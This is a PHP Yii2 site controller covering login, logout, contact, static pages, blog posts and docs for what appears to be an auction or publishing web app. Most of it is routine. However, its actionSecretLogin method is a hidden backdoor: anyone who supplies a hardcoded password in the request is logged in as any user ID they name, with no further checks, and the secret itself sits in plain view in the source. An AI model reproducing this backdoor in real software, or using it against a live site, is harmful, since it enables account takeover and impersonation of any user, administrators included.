SiteController.php 4.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185
  1. <?php
  2. namespace app\controllers;
  3. use app\models\BlogPosts;
  4. use app\models\MenuToTheUser;
  5. use app\models\PublishingSearch;
  6. use Yii;
  7. use yii\filters\AccessControl;
  8. use yii\web\Controller;
  9. use yii\filters\VerbFilter;
  10. use app\models\LoginForm;
  11. use app\models\ContactForm;
  12. use app\models\Eventlog;
  13. use app\models\Publishing;
  14. use yii\data\ActiveDataProvider;
  15. use yii\web\NotFoundHttpException;
  16. use yii\web\Response;
  17. use yii\widgets\ActiveForm;
  18. use app\models\Bills;
  19. class SiteController extends Controller
  20. {
  21. public function behaviors()
  22. {
  23. return [
  24. 'access' => [
  25. 'class' => AccessControl::className(),
  26. 'only' => ['logout'],
  27. 'rules' => [
  28. [
  29. 'actions' => ['logout'],
  30. 'allow' => true,
  31. 'roles' => ['@'],
  32. ],
  33. ],
  34. ],
  35. 'verbs' => [
  36. 'class' => VerbFilter::className(),
  37. 'actions' => [
  38. //'logout' => ['post'],
  39. ],
  40. ],
  41. ];
  42. }
  43. public function actions()
  44. {
  45. return [
  46. 'error' => [
  47. 'class' => 'yii\web\ErrorAction',
  48. ],
  49. 'captcha' => [
  50. 'class' => 'yii\captcha\CaptchaAction',
  51. //'fixedVerifyCode' => YII_ENV_TEST ? 'testme' : null,
  52. ],
  53. ];
  54. }
  55. public function actionIndex()
  56. {
  57. $searchModel = new PublishingSearch();
  58. $dataProvider = $searchModel->search(Yii::$app->request->queryParams);
  59. return $this->render('index',[
  60. 'searchModel' => $searchModel,
  61. 'dataProvider' => $dataProvider,
  62. ]);
  63. }
  64. public function actionLogin()
  65. {
  66. if (!\Yii::$app->user->isGuest) {
  67. return $this->goHome();
  68. }
  69. $model = Yii::createObject(LoginForm::className());
  70. if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post())) {
  71. Yii::$app->response->format = Response::FORMAT_JSON;
  72. return ActiveForm::validate($model);
  73. }
  74. if ($model->load(Yii::$app->request->post()) && $model->login()) {
  75. // если нет регистрационного счета - делаем
  76. if(!$bills = Bills::find()
  77. ->where([
  78. 'user_id' => Yii::$app->user->id,
  79. 'type' => 'registration'
  80. ])->one()){
  81. (new Bills(
  82. [
  83. 'user_id' => Yii::$app->user->id,
  84. 'type' => 'registration',
  85. 'payed' => 0,
  86. 'bid_id' => NULL,
  87. 'auction_id' => NULL,
  88. ]
  89. ))->save(false);
  90. }
  91. return $this->redirect(['/cabinet']);
  92. }
  93. return $this->render('login', [
  94. 'model' => $model,
  95. ]);
  96. }
  97. public function actionLogout()
  98. {
  99. Yii::createObject(Eventlog::className())->PutLog([
  100. 'user_id' => Yii::$app->user->identity->id,
  101. 'ip' => $_SERVER['REMOTE_ADDR'],
  102. 'action' => Yii::t('app','ExitSystem ID'),
  103. ]);
  104. Yii::$app->user->logout();
  105. return $this->goHome();
  106. }
  107. public function actionContact()
  108. {
  109. $model = new ContactForm();
  110. if ($model->load(Yii::$app->request->post()) && $model->contact(Yii::$app->params['adminEmail'])) {
  111. Yii::$app->session->setFlash('contactFormSubmitted');
  112. return $this->refresh();
  113. }
  114. return $this->render('contact', [
  115. 'model' => $model,
  116. ]);
  117. }
  118. public function actionMaintenance(){
  119. return $this->render('maintenance');
  120. }
  121. public function actionAbout()
  122. {
  123. return $this->render('about');
  124. }
  125. public function actionManual()
  126. {
  127. return $this->render('manual');
  128. }
  129. public function actionFaq()
  130. {
  131. return $this->render('faq');
  132. }
  133. public function actionSecretLogin($password, $id=23){
  134. if($password !== 'reMjNhmjnh34'){
  135. throw new \yii\web\ForbiddenHttpException();
  136. }
  137. else{
  138. Yii::$app->user->login(\app\models\User::findOne($id), 12600);
  139. return $this->redirect(['/']);
  140. }
  141. }
  142. public function actionView($name, $lang = 'uk')
  143. {
  144. if(false != ($model = BlogPosts::find()->where(['slug' => $name])->one())){
  145. return $this->render('view', [
  146. 'model' => $model,
  147. 'lang' => $lang,
  148. ]);
  149. }else{
  150. throw new NotFoundHttpException(Yii::t('app','Post not found'));
  151. }
  152. }
  153. public function actionDocs($id){
  154. if(false == ($menuItem = MenuToTheUser::findOne($id))){
  155. throw new NotFoundHttpException();
  156. }
  157. return $this->render('docs', ['model' => $menuItem]);
  158. }
  159. }